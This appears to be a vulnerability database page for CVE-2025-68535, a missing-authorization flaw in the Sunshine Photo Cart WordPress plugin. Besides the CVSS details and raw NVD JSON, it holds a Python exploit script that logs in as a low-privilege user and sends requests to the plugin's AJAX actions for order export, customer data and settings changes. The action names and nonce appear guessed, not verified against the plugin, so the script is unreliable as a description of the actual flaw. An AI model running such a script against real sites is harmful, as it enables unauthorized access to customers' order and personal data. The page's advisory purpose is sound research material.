Security Vulnerability Report
中文
CVE-2025-68535 CVSS 4.3 MEDIUM

CVE-2025-68535

Published: 2025-12-24 13:16:23
Last Modified: 2026-04-27 19:16:29

Description

Missing Authorization vulnerability in sunshinephotocart Sunshine Photo Cart sunshine-photo-cart allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Sunshine Photo Cart: from n/a through <= 3.5.7.1.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Sunshine Photo Cart <= 3.5.7.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68535 Sunshine Photo Cart Missing Authorization PoC # Requires a low-privilege WordPress account (subscriber role or higher) import requests import sys from urllib.parse import urljoin def exploit_sunshine_photo_cart(target_url, username, password): """ Exploit for Missing Authorization vulnerability in Sunshine Photo Cart plugin Affected versions: <= 3.5.7.1 """ session = requests.Session() # Step 1: Login to WordPress with low-privilege account login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful with low-privilege account") # Step 2: Identify vulnerable endpoints # Common Sunshine Photo Cart AJAX actions that may lack authorization vulnerable_actions = [ 'sunshine_get_order_details', 'sunshine_admin_get_customer', 'sunshine_export_orders', 'sunshine_update_order_status', 'sunshine_get_gallery_data', 'sunshine_modify_settings' ] ajax_url = urljoin(target_url, '/wp-admin/admin-ajax.php') # Step 3: Exploit each vulnerable action for action in vulnerable_actions: exploit_data = { 'action': action, 'nonce': 'exploit', # May not be required due to missing auth # Additional parameters specific to each action } try: response = session.post(ajax_url, data=exploit_data, timeout=10) # Check if unauthorized access was successful if response.status_code == 200: content = response.text # Look for signs of successful unauthorized access if any(keyword in content.lower() for keyword in ['order', 'customer', 'data', 'success', '"status":']): print(f"[+] Potential vulnerability found: {action}") print(f"[+] Response preview: {content[:200]}...") except requests.RequestException as e: print(f"[-] Error testing {action}: {e}") print("\n[!] Manual verification recommended") print("[!] Check plugin source code for missing capability checks") return True if __name__ == '__main__': if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print("Example: python exploit.py http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_sunshine_photo_cart(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68535", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:22.850", "lastModified": "2026-04-27T19:16:29.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in sunshinephotocart Sunshine Photo Cart sunshine-photo-cart allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Sunshine Photo Cart: from n/a through <= 3.5.7.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/sunshine-photo-cart/vulnerability/wordpress-sunshine-photo-cart-plugin-3-5-7-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}